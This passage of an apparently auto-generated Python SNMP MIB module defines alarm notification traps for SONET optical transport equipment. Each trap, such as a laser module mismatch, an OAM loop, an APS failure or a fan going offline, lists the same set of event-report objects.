10, 606)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLaserModuleMismatch.setStatus('current') almDlagProtFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 12288)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almDlagProtFail.setStatus('current') almOamRemoteLoop = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 12291)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almOamRemoteLoop.setStatus('current') almOamRemoteSD = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 12292)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almOamRemoteSD.setStatus('current') almOamRemoteSF = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 12293)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almOamRemoteSF.setStatus('current') almOamFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 12294)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almOamFail.setStatus('current') almCcLoss = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 12298)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almCcLoss.setStatus('current') almMpConflict = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 12299)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almMpConflict.setStatus('current') almLptRfi = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 12300)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLptRfi.setStatus('current') almOamSelfLoop = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 12767)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almOamSelfLoop.setStatus('current') almLagPortFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 12769)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLagPortFail.setStatus('current') almEthCfmMismerge = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 12823)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almEthCfmMismerge.setStatus('current') almEthCfmUnexperi = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 12824)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almEthCfmUnexperi.setStatus('current') almEthCfmLoc = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 12825)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almEthCfmLoc.setStatus('current') almEthCfmRdi = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 12826)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almEthCfmRdi.setStatus('current') almEqptNoServiceAffecting = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32768)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almEqptNoServiceAffecting.setStatus('current') almEqptServiceAffectingFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32769)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almEqptServiceAffectingFail.setStatus('current') almApsByteFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32774)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almApsByteFailure.setStatus('current') almFarEndProtectionLineFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32776)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almFarEndProtectionLineFailure.setStatus('current') almApsChannelMismatchFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32777)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almApsChannelMismatchFailure.setStatus('current') almApsModeMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32778)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almApsModeMismatch.setStatus('current') almApsTypeMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32779)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almApsTypeMismatch.setStatus('current') almHoldoverSync = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32791)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almHoldoverSync.setStatus('current') almFreeRunSync = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32792)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almFreeRunSync.setStatus('current') almFastStartSync = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32794)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almFastStartSync.setStatus('current') almManualSetSSM = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32798)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almManualSetSSM.setStatus('current') almFanOffline = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32802)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", 